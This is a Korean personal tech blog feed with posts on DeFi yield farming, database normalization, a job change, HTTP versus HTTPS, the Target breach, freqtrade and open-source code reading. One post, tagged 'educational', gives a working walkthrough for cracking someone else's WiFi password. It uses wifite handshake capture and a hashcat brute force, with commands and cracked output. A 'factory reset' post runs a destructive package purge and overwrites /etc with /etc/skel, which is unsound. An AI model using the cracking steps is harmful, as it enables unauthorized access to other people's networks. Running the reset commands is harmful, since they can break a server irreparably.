티멀의 IT공부생활

수익화 모델 총정리 (블록체인 노드?) - 진행 중

티멀 — Wed, 11 Dec 2024 11:26:15 +0900

유동성 풀

디파이에 부족한 물량을 제공하고, 그 물량에 대한 이자를 받아 취하는 수익모델

- 다만 코인 가격이 증가하면, 원금 손실은 없지만 비 영구적 손실이 발생하므로 실질적 수익은 기존 갖고있는 예치금의 금액보다 적을 수 있다.

- 비영구적 손실 검색 ㄱㄱ

- 해당 유동성 풀에 예치하면서 얻는 이자 - 비영구적손실금 > 예치금 수익금 보다 많으면 이익임

-> 즉 시장 횡보할 것 같으면 넣어놓는 곳인듯

나중에 볼 것 저장

https://baekchwijun.com/category/%ec%97%90%ec%96%b4%eb%93%9c%eb%9e%8d-%ec%9e%91%ec%97%85/

1. 블록체인 노드를 돌려? 이게 뭔 의미고 돌리면 뭔 이익이 있지?

본인 고사양 컴퓨터 통해서 노드라는 프로그램 돌린다고 보면 됨

이 프로그램이 사람들 블록체인 거래 검증해주고 이에 따른 내 컴퓨터 사용 수수료 받아가는거.

이게 이익임.

노는 컴터 있으면 노드로 돌려도 좋을듯?

아래 참고함

https://metaboo.tistory.com/47

곧 토큰 출시하니까 해봅시다! Io.net 노드 돌리기

이번엔 Io.Net이라고 하는 노드를 돌려보려고 합니다. io.net은 솔라나기반의 DePIN인데요. 이미 분산네트워크의 길로 파일코인, 렌더 네트워크, 솔라나와 함께 돌아가는 녀석이기도 합니다. 특히 요

metaboo.tistory.com

프로젝트 선정? 디파이 ???

1. 런칭 전의 프로젝트란?

런칭 전의 프로젝트는 블록체인 또는 디파이 생태계에서 아직 공식적으로 운영되지 않는 상태에 있는 프로젝트를 가리킵니다. 이 단계에서 프로젝트는 다음과 같은 특징을 가질 수 있습니다:

개발 중: 코드 작성, 스마트 계약 배포, 테스트가 진행 중.
커뮤니티 형성 중: 트위터, 디스코드, 텔레그램 등에서 팔로워를 모으고 초기 사용자와 소통.
초기 투자 유치: 투자자를 모집하거나 VC(벤처 캐피탈) 지원을 받음.
검증 단계: 보안 감사(Audit)를 진행하여 스마트 계약이나 코드의 취약점을 해결.

런칭 전 단계는 높은 잠재력을 가지지만, 성공 여부가 불확실하기 때문에 신중한 검토가 필요합니다.

2. 글에 나오는 주요 용어 설명

1) 디파이 프로토콜 선정 과정

근본인가?
- 프로젝트의 신뢰성을 검증하는 요소들:
  - 팀: 개발진과 창립자의 이력, 전문성.
  - 백커(VC): 프로젝트를 지원하는 투자 기관의 신뢰성.
  - 오딧(Audit): 보안 감사 결과와 품질.
  - 독스(DOCS): 프로젝트가 제공하는 기술 문서의 투명성.
소문이 났는가?
- 프로젝트가 커뮤니티에서 얼마나 알려졌는지 평가:
  - 트위터, 텔레그램, 디스코드 등의 활동.
  - 마케팅 및 홍보 활동 여부.

2) 진입 근거

런칭 전 프로젝트를 선택하는 이유와 진입 시점을 정하는 기준:

근본인데 소문이 안 남: 신뢰할 만한 팀과 백커가 있지만 아직 대중화되지 않은 프로젝트.
커뮤니티와 소통: 창립 팀과 지속적으로 소통하며 프로젝트 진척 상황 확인.

3) 홀딩 근거

TVL(총 예치 자산): 프로젝트에 투자된 자산의 규모로, 성장 가능성을 평가.
APR(연간 수익률): 투자 수익률을 기준으로 저평가 여부 판단.
커뮤니티 분위기: 활발한 사용자와 지속적인 개발 진행 여부.

4) 엑싯 근거

시점 선택: TVL이나 시총이 과대평가되거나 매수세가 줄어드는 시점.
트레일링 스탑(TS): 가격이 하락할 때 손익 방어를 위한 자동 매도 설정.

3. 초심자를 위한 글의 간단한 해석

글의 핵심은 성공 가능성이 높은 런칭 전 디파이 프로젝트를 선정하고, 리스크를 최소화하면서 수익을 내는 방법입니다. 초심자가 이해하기 쉽게 다음과 같이 요약할 수 있습니다:

프로젝트를 평가:
- 팀과 투자자를 보고 신뢰성을 확인하세요.
- 프로젝트가 유명하지 않더라도, 초기 성장 가능성이 있는지 살펴보세요.
초기에 참여:
- 프로젝트가 공식 런칭되기 전이나 직후에 참여하는 것이 유리합니다.
- 커뮤니티와 소통하여 확신을 가지세요.
투자 후 지속적인 모니터링:
- TVL, 시총, APR 등 프로젝트의 성과 지표를 확인하세요.
- 주변 생태계와의 관계성을 고려하세요.
적절한 시점에 엑싯:
- 투자 가치가 충분히 올랐거나 과대평가되기 시작하면 매도 타이밍을 잡으세요.

4. 초심자를 위한 추천 팁

소액으로 시작: 처음에는 소액으로 다양한 프로젝트에 참여하며 경험을 쌓으세요.
커뮤니티 참여: 디스코드와 텔레그램에서 정보를 얻고 프로젝트 팀과 대화하세요.
지표 활용: TVL과 APR 같은 숫자는 프로젝트의 현재 상태를 이해하는 데 유용합니다.
분산 투자: 한 프로젝트에 모든 자금을 투자하지 말고, 여러 프로젝트에 분산하세요.
리스크 관리: 스캠(사기) 가능성이 있는 프로젝트는 피하세요.

https://blog.naver.com/kunbitt/223030851721

디파이 이자로 월 1억 벌기

먼저 제목 어그로 제성함미다... 사실 매달 가능한건 아니구요. 이번달은 운도 따라줘서 가능했습니다. 시...

blog.naver.com

디파이 파밍???

**디파이 파밍(DeFi Yield Farming)**은 사용자가 암호화폐를 디파이(DeFi) 프로토콜에 예치하여 보상으로 추가 암호화폐를 받는 투자 활동입니다. 간단히 말해, 자신의 암호화폐 자산을 디파이 서비스에 제공하고, 그 대가로 이자나 보상 토큰을 얻는 방식입니다.

디파이 파밍의 작동 원리

디파이 파밍은 보통 **유동성 풀(Liquidity Pool)**을 통해 이루어집니다. 유동성 풀은 사용자가 암호화폐를 예치하여 프로토콜에 유동성을 공급하는 저장소 역할을 합니다. 이 풀에 자산을 예치하면, 예치자들은 다음과 같은 방식으로 보상을 받습니다:

유동성 공급(Liquidity Providing):
- 사용자가 자산을 유동성 풀에 예치.
- 예치한 자산을 다른 사용자들이 거래하거나 대출에 사용.
- 사용자는 거래 수수료의 일부를 보상으로 받음.
보상 토큰:
- 디파이 프로토콜에서 발행한 보상 토큰을 지급받음.
- 예: Uniswap에서 UNI 토큰, PancakeSwap에서 CAKE 토큰.
복리 효과(Compound Interest):
- 얻은 보상을 다시 예치하여 추가 수익을 창출.
- 이 과정을 반복하여 복리 효과를 극대화.

디파이 파밍의 단계별 과정

디파이 프로토콜 선택:
- 유동성이 높고 신뢰할 수 있는 디파이 플랫폼을 선택.
- 예: Uniswap, PancakeSwap, Aave 등.
자산 예치:
- 이더리움(ETH), 스테이블코인(USDT, DAI) 등의 암호화폐를 유동성 풀에 예치.
- 예치 시 LP(Liquidity Provider) 토큰을 받음.
보상 수령:
- 예치한 자산의 거래에 따라 수익이 발생하며, 보상 토큰을 정기적으로 지급받음.
보상 토큰 관리:
- 지급받은 토큰을 팔거나, 다시 예치하여 추가 수익 창출.

디파이 파밍의 장점

높은 수익률:
- 초기 디파이 프로토콜은 사용자를 유치하기 위해 높은 이자율과 보상을 제공.
다양한 자산 활용:
- 스테이블코인, 비트코인, 이더리움 등 다양한 자산으로 파밍 가능.
탈중앙화:
- 중앙 기관 없이 투명한 방식으로 거래와 보상이 이루어짐.
복리 투자 가능:
- 보상을 다시 예치하여 추가 수익을 극대화할 수 있음.

디파이 파밍의 단점

무손실 손실(Impermanent Loss):
- 유동성 풀에 예치된 자산의 가격 변동으로 인해 발생하는 손실.
보안 위험:
- 스마트 계약의 취약점으로 인해 해킹 위험 존재.
복잡한 구조:
- 초보자에게는 이해하기 어렵고, 잘못된 설정으로 인해 손실 발생 가능.
수익 변동성:
- 보상 토큰의 가격이 하락하면 수익률이 낮아질 수 있음.

대표적인 디파이 파밍 플랫폼

Uniswap:
- 탈중앙화 거래소로, 유동성 공급 시 거래 수수료와 UNI 토큰을 보상으로 지급.
PancakeSwap:
- Binance Smart Chain 기반의 DEX로, CAKE 토큰을 보상으로 제공.
Aave:
- 자산을 예치하면 대출 이자와 보상 토큰을 제공.
Yearn.Finance:
- 디파이 파밍을 자동화하여 높은 수익률을 제공.

db 정규화 및 장단점

티멀 — Thu, 7 Nov 2024 23:04:26 +0900

정규화

단일 atom 객체로 각각 다 테이블 별 쪼개서

join 치는거

정규화 데이터베이스(Normalized Database)는 중복을 최소화하도록 설계된 데이터베이스를 말한다.

적절히 비정규화 db 섞어서 씀

비정규화의 장점은 바로 1. 빠른 데이터 조회(Join 비용이 줄어들기 때문), 2. 데이터 조회 쿼리의 간단화이다.

각 테이블 비용이 줄어듦

단점은?

하지만 비정규화의 단점은 바로 1. 데이터 갱신이나 삽입 비용이 높음, 2. 데이터의 무결성 해침, 3. 데이터 중복저장으로 인한 추가 저장공간 확보 필요가 있다.

정규화의 장점은 1. 데이터베이스 변경 시 이상현상 제거, 2. 효과적인 검색 알고리즘 생성, 3. 데이터 구조의 안정성, 무결성 유지 등이 있다. 하지만 단점은 1. Join연산의 증가로 응답 시간이 저하된다는 것이다.

https://owlyr.tistory.com/20

[데이터베이스] 정규화 vs. 비정규화(반정규화)

정규화 vs. 비정규화(반정규화) 데이터베이스 정규화 데이터베이스 비정규화 데이터베이스 비정규화(Denormalization, 반정규화)란 무엇인가? 장점, 단점 비정규화 대상 주의점 정규화(Normalized)란

owlyr.tistory.com

https://mangkyu.tistory.com/110

[Database] 정규화(Normalization) 쉽게 이해하기

지난 포스팅에서 데이터베이스 정규화와 관련된 내용을 정리했었다. 하지만 해당 내용이 쉽게 이해되지 않는 것 같아서 정규화 관련 글을 풀어서 다시 한번 정리해보고자 한다. 1. 정규화(Normaliz

mangkyu.tistory.com

대형 SI 에서 소규모 SW로 취업하며 느낀점

티멀 — Wed, 30 Oct 2024 23:07:08 +0900

2년만의 이직

최근 불경기에도 불구하고 운이 좋게 좀더 좋은 조건으로 이직에 성공했다.

그렇게 실력이 좋지 않음에도 이직이 된 이유를 추측해보건데, '대형 프로젝트 경험 인력 요구 사유'가 해당 면접 합격의 큰 요인이 된 듯하다.

대형 서비스 개발 경험을 기반으로 현재 MVP 서비스 단계를 점차 고도화시켜야하니까!

~~(근데 난 잘 모르는데...!?)~~

솔직히 면접 합격이 들어왔을때 기존에 있던 SI 에서 좀더 경험을 쌓는 것을 좀더 고민했었다.

아무래도 프로젝트 규모도 다르고, 각각의 사이트마다 배웠던 내용을 통해 스스로 성장을 하는 것이 느껴져서 더 그랬던 것 같다.

그래도 SI에서 배웠던 부분을 SW에 적용하면 보다 만족감과 실력 향상에 도움이 될 까하여 최종 입사를 결정했다.

SI는 다 나쁜것이 아닌가요?

솔직히 SI의 인식이 많이 안좋긴하다.

컴퓨터랑 키보드, 그리고 마우스 하나 딸랑 실려보내놓고 다른 회사로 팔려가는게 SI의 현실이기도 하고

내 자리도 매번 바뀌고, 장비도 별로 좋지 않다. (회사에서 줄리도 없고)

그래도 ~~어느정도 규모가 있다면~~ 경험하는 프로젝트가 전부 대형이기 때문에, 배울점이 엄청 많다. 아무래도 학원이나 학부가 아닌 실제 프로젝트에서 실제 서비스를 개발하기 때문에, 서비스 개발 방법론, IT 용어 및 설계까지 한번에 배울 수 있는 매우 좋은 환경이 주어진다고 볼 수 있다.

다만 나처럼 너무 근본없는 개발자로 저런 프로젝트를 시작하면 죽을 수도?

밤을 새는건 기본에, 휴일에도 출근하여 코드 봐야된다. 다만 실력이 엄청 빨리 증가한다!

이런 장단점이 존재하지만, 장점이 더 많기 때문에, SI라고 무조건 배척하는 것은 너무 편협한 생각이 될 수 있다.

고통스럽지만 빠르게 실력 향상을 할 수 있는 스파르타식 공부 환경이 주어진다고 생각하면 절대로 나쁜 것이 아니다.

좀 힘들지만, 공부하면서 돈도 받잖아? 개이득

그래서 입사 후기는?

일단 매우 만족 중이다.

매우 많은 장점이 있는데, 그 중 제일 만족하는 부분은

1. 재택근무가 가능하며

2. 내 자리와 개인 장비 (비싼 친구)도 주어지고

3. 탄력출근제가 보장된다!

커피랑 간식도 주고...!

이제부터 기술 블로그 겸, 개인 일기장 목적으로 해당 서비스에 내가 배웠던 지식들을 어떻게 적용하는지 기록할 예정이다.

피씨방에서 로그인만 하면 개인정보 털리는 이유 (http, https 차이)

티멀 — Sat, 26 Oct 2024 12:24:49 +0900

요즘에 대부분의 게임들이 구글 로그인 연동해서 회원가입을 잘 시켜줍니다.

아주 편리하죠.

근데 항상 구글 통해서 로그인만 하고나면,
여러분들 피씨방에 가서 게임

HTTP를 사용할 때 해커가 정보를 중간에 가로채는 방법을 설명하겠습니다. 이를 통해 HTTP와 HTTPS의 차이를 더욱 명확하게 이해할 수 있습니다.

### MITM 공격 (Man-In-The-Middle Attack)

**1. 개요**
   - MITM 공격은 해커가 사용자의 통신을 가로채고, 정보를 엿보거나 수정할 수 있는 방법입니다. HTTP는 데이터를 암호화하지 않기 때문에 해커가 쉽게 접근할 수 있습니다.

**2. 공격 과정**

   **단계 1: 네트워크 접근**
   - 해커는 공용 Wi-Fi 같은 불안정한 네트워크에 접근합니다. 예를 들어, 카페나 공항에서 제공하는 무료 Wi-Fi가 대표적입니다.

   **단계 2: 패킷 스니핑**
   - 해커는 패킷 스니퍼라는 도구를 사용하여 네트워크를 통해 주고받는 데이터를 가로챕니다. HTTP를 통해 전송되는 데이터는 암호화되지 않기 때문에 쉽게 읽을 수 있습니다.

   **단계 3: 데이터 탈취**
   - 사용자가 HTTP 웹사이트에 로그인하면, 해커는 사용자가 입력한 ID, 비밀번호, 신용카드 정보 등을 그대로 볼 수 있습니다.

**3. 예시**
   - 예를 들어, 사용자가 공용 Wi-Fi에서 HTTP 웹사이트에 로그인할 때, 해커는 패킷 스니핑을 통해 로그인 정보를 탈취할 수 있습니다. 아래는 실제로 어떻게 이루어지는지에 대한 예시입니다.

### 예시 시나리오

(화면 전환: 카페에서 노트북을 사용하는 사람들)

**내레이션:** 여러분이 카페에서 무료 Wi-Fi를 사용한다고 상상해보세요. 여기서 HTTP 웹사이트에 로그인한다고 가정해볼게요.

(화면 전환: 해커가 노트북을 통해 네트워크를 모니터링하는 장면)

**내레이션:** 이때 해커는 같은 네트워크에 접속하여 패킷 스니퍼를 실행합니다. 여러분의 로그인 정보가 암호화되지 않은 채로 네트워크를 통해 전송되기 때문에 해커는 이 정보를 쉽게 가로챌 수 있습니다.

(화면 전환: 해커의 화면에 사용자의 ID와 비밀번호가 그대로 나타나는 장면)

**내레이션:** 보세요, 여러분이 입력한 ID와 비밀번호가 해커의 화면에 그대로 나타납니다. HTTP를 사용할 때 발생할 수 있는 아주 위험한 상황입니다.

### HTTPS의 역할

**1. 데이터 암호화**
   - HTTPS는 데이터를 전송하기 전에 암호화합니다. 해커가 데이터를 가로채더라도 암호화된 상태이기 때문에 해독할 수 없습니다.

**2. 보안 인증서**
   - HTTPS 웹사이트는 보안 인증서를 사용하여 웹사이트의 신뢰성을 검증합니다. 브라우저는 HTTPS 웹사이트에 연결할 때 인증서를 확인하여 중간에 가로채는 시도를 차단합니다.

### 결론

(화면 전환: 자물쇠 아이콘이 있는 브라우저 화면)

**내레이션:** 따라서 여러분은 중요한 정보를 입력할 때, 웹사이트 주소에 자물쇠 아이콘이 있는지 확인해야 합니다. HTTPS를 사용하는 웹사이트는 데이터를 암호화하여 안전하게 보호합니다.

(화면 전환: 자물쇠 아이콘을 확인하는 모습과 함께 마무리)

**내레이션:** 오늘은 HTTP와 HTTPS의 차이와 해커가 어떻게 정보를 가로챌 수 있는지에 대해 이야기해봤습니다. 여러분의 개인정보, 꼭 지켜야겠죠? 그럼 다음에 더 유익한 정보로 찾아뵐게요. 안녕!

### 관련 기사:
- **New York Times 기사**: ["For Target, the Breach Numbers Grow"](https://www.nytimes.com/2014/01/11/business/target-breach-affected-70-million-customers.html)
- **CNN 기사**: ["Target data breach affects 40 million credit, debit cards"](https://www.cnn.com/2013/12/19/us/tar-jay-target-credit-card-hack/index.html)
- **Reuters 기사**: ["Target says up to 70 million customers hit in data breach"](https://www.reuters.com/article/us-target-databreach-idUSBREA090SS20140110)

"Target" 해킹 사건은 2013년 12월에 발생한 대규모 데이터 유출 사건으로, 미국의 대형 소매업체인 Target이 해킹되어 수백만 명의 신용카드 및 직불카드 정보가 유출된 사건입니다. 이 사건은 미국의 데이터 유출 역사에서 가장 큰 사건 중 하나로 기록됩니다. 자세한 내용은 다음과 같습니다:

### 사건 개요

**1. 사건 발생 시기**
   - **발생일**: 2013년 12월
   - **발표일**: 2014년 1월

**2. 피해 규모**
   - **유출된 데이터**: 약 4천만 명의 신용카드 및 직불카드 정보
   - **확장된 피해**: 7천만 명의 개인정보가 추가로 유출된 것으로 추정

### 해킹 경위

**1. 침입 경로**
   - **정보 출처**: 해커들은 Target의 외부 협력업체 중 하나인 HVAC(난방, 환기, 공기 조화) 시스템 관리업체를 통해 침입했습니다. 이 업체는 Target의 상점 내 HVAC 시스템을 관리하며, Target의 네트워크에 접근할 수 있는 권한을 가지고 있었습니다.

**2. 악성 소프트웨어**
   - **종류**: 해커들은 악성 소프트웨어인 "BlackPOS"를 사용하여 카드 결제 시스템을 감염시켰습니다. 이 소프트웨어는 카드 정보를 수집하고, 이를 해커의 서버로 전송했습니다.

**3. 데이터 탈취**
   - **방법**: 해커들은 카드 결제 시스템에 악성코드를 설치하여, 카드 정보가 입력될 때마다 이를 실시간으로 수집했습니다. 이렇게 수집된 정보는 암호화되지 않고 해커의 서버로 전송되었습니다.

### 대응 및 결과

**1. 대응 조치**
   - **보안 강화**: Target은 사건 발생 후 보안 조치를 강화하고, 모든 신용카드 결제 시스템을 교체했습니다. 또한, 고객들에게 신용 모니터링 서비스를 제공하고, 추가 보안 조치를 취했습니다.

**2. 법적 조치**
   - **합의**: Target은 사건에 대한 법적 책임을 인정하고, 여러 주와 연방 정부 기관과 합의하여 총 1억 6천만 달러를 지불하는데 동의했습니다.
   - **소송**: 사건과 관련하여 Target은 여러 소비자와 기업으로부터 소송을 당했으며, 이와 관련된 법적 절차가 진행되었습니다.

**3. 영향**
   - **소비자 신뢰**: 사건은 소비자들 사이에서 신뢰를 크게 떨어뜨렸으며, Target은 보안 취약점이 드러나면서 고객들의 신뢰를 회복하기 위해 많은 노력을 기울여야 했습니다.
   - **보안 강화**: 이 사건은 기업들이 보안 시스템을 강화하는 계기가 되었으며, 많은 기업들이 데이터 암호화 및 보안 강화 조치를 채택하게 되었습니다.

### 관련 기사 링크

- **New York Times**: ["For Target, the Breach Numbers Grow"](https://www.nytimes.com/2014/01/11/business/target-breach-affected-70-million-customers.html)
- **CNN**: ["Target data breach affects 40 million credit, debit cards"](https://www.cnn.com/2013/12/19/us/tar-jay-target-credit-card-hack/index.html)
- **Reuters**: ["Target says up to 70 million customers hit in data breach"](https://www.reuters.com/article/us-target-databreach-idUSBREA090SS20140110)

이 사건은 데이터 보안의 중요성을 다시 한 번 상기시켜주었으며, 기업들이 보안에 더욱 신경을 써야 한다는 교훈을 남겼습니다.

[교육용] kali linux로 와이파이 남의 와이파이 비번 해킹

티멀 — Tue, 22 Oct 2024 19:48:14 +0900

하기 전 준비물 2개

1. ESSID와 ERCR 정보들을 갖고오기 위해 kali linux 사용

- VMWARE 사용하거나

- 갖고있는 노트북 사용

* 단 VMWARE 사용하면 WLAN USB 형식 하나 필요함

2. hashcat 다운로드

https://hashcat.net/files/hashcat-6.2.6.7z

kali linux에서

ip addr

하여 wlan 활성화 되어있는지 파악

비밀번호 찾아낼 와이파이 리스트 scan

sudo wifite --wpa --kill

후

index 번호로 wifi 선택

* WPA Handshake Attack 사용

* 나머지 Attact 들은 Ctrl + C 하여 무시하고 c 로 넘김

파악한 .cap 파일 확인

cd /hs

hccapx 형식으로 변환

/usr/share/hashcat-utils/cap2hccapx.bin handshake_WIFINAME.cap wpa2.hccapx

변환한 파일 설치한 hashcat 폴더 내 복붙

CMD 관리자 권한으로 열어서

hashcat 폴더 내 hashcat.exe 파일 실행해보기

사용할 수 있는 GPU 확인 명령어임

hashcat.exe -I

잘 되는거 확인했으면 아래 받은 hccapx 파일 잘 넣어서 아래 실행

hashcat.exe -m 2500 -a 3 --deprecated-check-disable wpa2.hccapx ?d?d?d?d?d?d?d?d

잘 되면 아래와 같이 뜸

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 2500 (WPA-EAPOL-PBKDF2)
Hash.Target......: wpa2.hccapx
Time.Started.....: Tue Oct 22 18:46:04 2024 (1 min, 57 secs)
Time.Estimated...: Tue Oct 22 18:48:01 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   184.8 kH/s (9.61ms) @ Accel:16 Loops:128 Thr:256 Vec:1
Recovered........: 5/5 (100.00%) Digests (total), 5/5 (100.00%) Digests (new)
Progress.........: 21733376/100000000 (21.73%)
Rejected.........: 0/21733376 (0.00%)
Restore.Point....: 2121728/10000000 (21.22%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:4-9
Candidate.Engine.: Device Generator
Candidates.#1....: 76268710 -> 71916710
Hardware.Mon.#1..: Temp: 62c Fan: 40% Util: 99% Core:1890MHz Mem:5750MHz Bus:16

Started: Tue Oct 22 18:45:46 2024
Stopped: Tue Oct 22 18:48:03 2024

다 되면 아래 명령어 실행해서 찾은 비번으로 잘 활용하면? 됨

hashcat.exe -m 2500 -a 3 --deprecated-check-disable wpa2.hccapx ?d?d?d?d?d?d?d?d --show

sthsthsthsthsthsthsthsthsthsth:wifi_name:비밀번호 나올 칸
sthsthsthsthsthsthsthsthsthsth:wifi_name:비밀번호 나올 칸

우분투 서버 공장초기화 하는 법 + .sh 파일로 한번에 실행

티멀 — Thu, 4 Jul 2024 08:41:37 +0900

sh 파일 실행

아래 파일을 다운 받아서 sh ubuntu_reset.sh 로 실행하거나,

ubuntu_reset.sh

0.00MB

명령어 실행

아래 명령어를 하나씩 입력하여 초기화 하면된다.

# 모든 패키지 제거
sudo apt-get purge -y $(dpkg --get-selections | grep -v deinstall | grep -v "apt" | grep -v "dpkg" | grep -v "grub" | grep -v "sudo" | grep -v "login" | grep -v "libc6" | grep -v "init" | awk '{print $1}')

# 필수 패키지 재설치
sudo apt-get install --reinstall ubuntu-server

# 설정 파일 재설정
sudo cp -r /etc/skel/. /etc/

# 시스템 업데이트 및 업그레이드
sudo apt-get update
sudo apt-get upgrade -y

# 시스템 재부팅
sudo reboot

freqtrade 오픈소스 코드 분석해보기! 비트코인 투자 자동화 오픈소스 프로젝트

티멀 — Thu, 27 Jun 2024 12:44:16 +0900

개요

최근에 관심이 있는 분야이기도하고 회귀 분석 쪽으로도 접목시킬 수 있는 장점이 있어서

오픈소스 컨트리뷰터 및 프로그램 개발을 위해 해당 오픈소스 분석 시작!

최근 정리한 오픈소스 분석 방법론을 통해 순차적으로 뜯어볼 예정이다.

(너무 어렵지만 해결했을 때의 짜릿함 기대중)

https://timmer.tistory.com/350

깃허브 내 오픈소스 코드 분석하는법 총 정리 - 순서대로만 따라하면 이해되는 오픈소스코드 분

1. 배경지식을 갖출 것정렬이라던가 검색같은데 특정 알고리즘을 사용했다면,해당 알고리즘의 작동원리 이해하고 난 후 분석하는 것이 효율적이다. 만약 해당 지식이 없이 코드로만 이해하려

timmer.tistory.com

1. 배경지식을 갖출 것

간단하게 한줄로 요약이 가능하다.

'비트코인 투자 자동화 프로그램'

2. 큰 그림을 보자

무지막지한 코드량

이 캡쳐 하나로도 다 담지 못하는 무지막지한 코드량이 존재한다.

300명이 넘는 contributor가 작성한 코드들이기 때문에 충분히 그럴지도...

폴더 구조 파악

그래서 폴더 하나씩 무엇을 의미하는지, 구조파악을 먼저 해보기로 했다.

주로 아래의 폴더 패키지들이 자주 쓰인다.

이름	설명
commands	CLI 명령 시 해당 명령어를 읽고 코드 동작하는 함수들을 모아놓음
configuration	CLI에 필요한 config.json 파일 parsing
data	데이터 백테스트 및 cache 보관
enums	상수 관리 목적
exchange	각 거래소의 함수 정리 (entry, exit 등)
freq_types	상수의 타입 관리 목적
loggers	로깅 함수
plugins	지정된 pair의 선택 알고리즘 함수들
resolvers	custom 전략 관리
грс	sns 연동 함수 (telegram 등)
strategy	custom 전략 인터페이스 관리
templates	단순 custom 전략 위한 템플릿 예시들
util	시간 변경 등 각종 util 함수

_init__.py 이란?

지금은 파이썬 버전 3.3 이후부터 자동화되어 필요없어진 _init__.py이 각 폴더명마다 있었는데,

이 개념을 한번도 보지 못하여 이해하는데 고난을 많이 겪었다.

(멍청이 그차제)

각 폴더 내에 해당 파일을 지정하면, 파이썬이 해당 파일이 있는 폴더 자체를 패키지로 인식하여,

import를 할 때 보다 편리하게

__init __ .py 내 함수들을 각각 명시하여 관리를 용이하게 할 수 있는 장점이 있다!

예시로

from freqtrade.exchange import (
    timeframe_to_minutes,
)
from freqtrade.strategy.informative_decorator import informative
from freqtrade.strategy.strategy_helper import (
    merge_informative_pair,
    stoploss_from_absolute,
    stoploss_from_open,
)

여기서 import를 할 때 ()로 감싸는 이유는, 가독성 목적

위의 정의된 폴더 내 함수를 사용하여 아래

main.py를 실행하여 전체 코드가 돌아가게 만든다.

소스코드로 공부가 될까?

단순히 쓰기만 했을 때는 몰랐는데

실제로 소스코드를 들여다보며 해당 코드의 작동방식

그리고 코드 폴더 구조 방식, 각 함수들의 네이밍 등을 확인하다보니

확실히 몰랐던 부분을 좀더 자세히 알 수 있었던 경험!

뜯어볼때는 좀 스트레스 받았는데

막상 파악하고 나니 희열감이 든다.

이런 느낌때문에 코딩이 재밌는게 아닐까!?

굿굿

나머지 문서화나 생각 정리부분은 다음 글에 계속

깃허브 내 오픈소스 코드 분석하는법 총 정리 - 순서대로만 따라하면 이해되는 오픈소스코드 분석

티멀 — Tue, 25 Jun 2024 16:12:59 +0900

1. 배경지식을 갖출 것

정렬이라던가 검색같은데 특정 알고리즘을 사용했다면,

해당 알고리즘의 작동원리 이해하고 난 후 분석하는 것이 효율적이다.

만약 해당 지식이 없이 코드로만 이해하려고 한다면, 비효율적인 시간이 수반된다.

또한, 분석하려는 오픈소스의 도메인이 본인의 관심사에 부합해야한다.

관심도 없는 오픈소스를 분석하려면 재미가 없어서 고문이 아닐까...?

2. 큰 그림을 보자

각각의 파일 내 개별 함수부터 파악하기보다는, 먼저 튜토리얼의 문서 및 관련 md 를 먼저 살펴본다.

오픈소스이므로 소스트리를 막 만들어놓지는 않았기 때문에 (대부분 그럼),

소스트리의 구조와 문서를 비교해가며 소스코드의 큰 그림을 파악한다.

프로젝트 구조 파악이 우선!

왜 이 코드의 기능을 이렇게 설계했을까를 생각하며 파악하자.

3. 디버거 breakpoint 활용

큰 그림을 파악하고 소스코드를 실행시켰을 때

breakpoint 기능을 이용하여 step 단위로 실행하면서 각 변수의 변화 상태를 확인.

확인해서 소스코드의 실행순서 파악하기

4. 문서화

머리에만 담고 있으면 분명 기억이 휘발된다.

파일 내 주석으로 달고 찾아낸 사실을 문서로 만들자 (ppt, flowchart, 구성도, 마인드맵 등등)

그림 그리면서 구조 파악이 더 잘됨. 팩트

문서화 예시

5. 생각 정리

소스코드를 작성한 사람의 패턴을 보면서,

나라면 어떻게 짰을까?
이 코드를 어떻게 하면 개선할 수 있을까?

를 생각해보면서 내 방식의 코드대로 migration 해보자!

해당 방식 활용해서 관심있는 도메인 정리 중

1편

https://timmer.tistory.com/351

freqtrade 오픈소스 코드 분석해보기! 비트코인 투자 자동화 오픈소스 프로젝트

개요최근에 관심이 있는 분야이기도하고 회귀 분석 쪽으로도 접목시킬 수 있는 장점이 있어서오픈소스 컨트리뷰터 및 프로그램 개발을 위해 해당 오픈소스 분석 시작! 최근 정리한 오픈소스

timmer.tistory.com

코드 빠르게 찾기 팁

https://docs.github.com/ko/search-github/searching-on-github/searching-code

코드 (레거시) 검색 - GitHub Docs

코드 검색 API를 사용하는 경우에만 레거시 코드 검색 구문을 사용할 필요가 있습니다.

docs.github.com

Refs

https://development-crow.tistory.com/21

[IT 기술] 오픈소스 분석 방법과 개발자 공부 방법

[IT 기술] 오픈소스 분석 방법 안녕하세요. 개발자 개발 까마귀입니다. 오늘은 개발 초보자와 그리고 공부법을 모르는 주니어 개발자한테 추천드리는 글입니다. ㅎㅎ 이 글을 작성을 한 이유는 OK

development-crow.tistory.com

https://fishpoint.tistory.com/1097

소스코드 분석, 코드 리뷰 분석 방법 모아봤습니다.

소스코드 분석은 정말 어려운 일입니다. 그러니 오죽하면 분석보다 새로 짜는게 더 쉽다는 말이 나오기도 하고요. 그러나 소스를 본다는것은 새로운 철학을 만나는 것이라고 봅니다. 오래된 코

fishpoint.tistory.com

https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/

오픈소스: 코드 분석 어떻게 하나? | Popit

Hadoop이나 HBase 등과 같은 솔루션은 문서도 부족하지만 문서로만 설명할 수 없는 복잡한 내용으로 구성되어 있는 솔루션이 많습니다. 따라서 제대로 솔루션을 사용하거나 운영하기 위해서는 소

www.popit.kr

https://velog.io/@qksud14/jrdev-02

스타트업 신입 개발일지(02 : 소스 코드 분석하기)

제대로된 코드를 만들기 위해서는 제대로된 코드를 많이 읽어보면 된다.기존에 사용하는 라이브러리나 플러그인의 코드를 읽어라인상깊었던 소프트웨어 코드를 읽어라존경하는 사람이 만든

velog.io

Docker Volume 적용 및 docker-compose 적용하는법. Docker volume이란? 왜 쓸까?

티멀 — Tue, 18 Jun 2024 13:31:36 +0900

개인적으로 사용했던 이유

회사에서 업무를 맡으면서 주로 도커와 클라우드 스토리지 (S3) 를 사용하는데,

이번에 리눅스 서버 내 로컬 스토리지를 사용하는 일이 있었다.

이 때 서버 내 nginx 를 사용하여 백엔드 load balancer를 사용하여 같은 파일을 공유해야하는 문제가 발생했다.

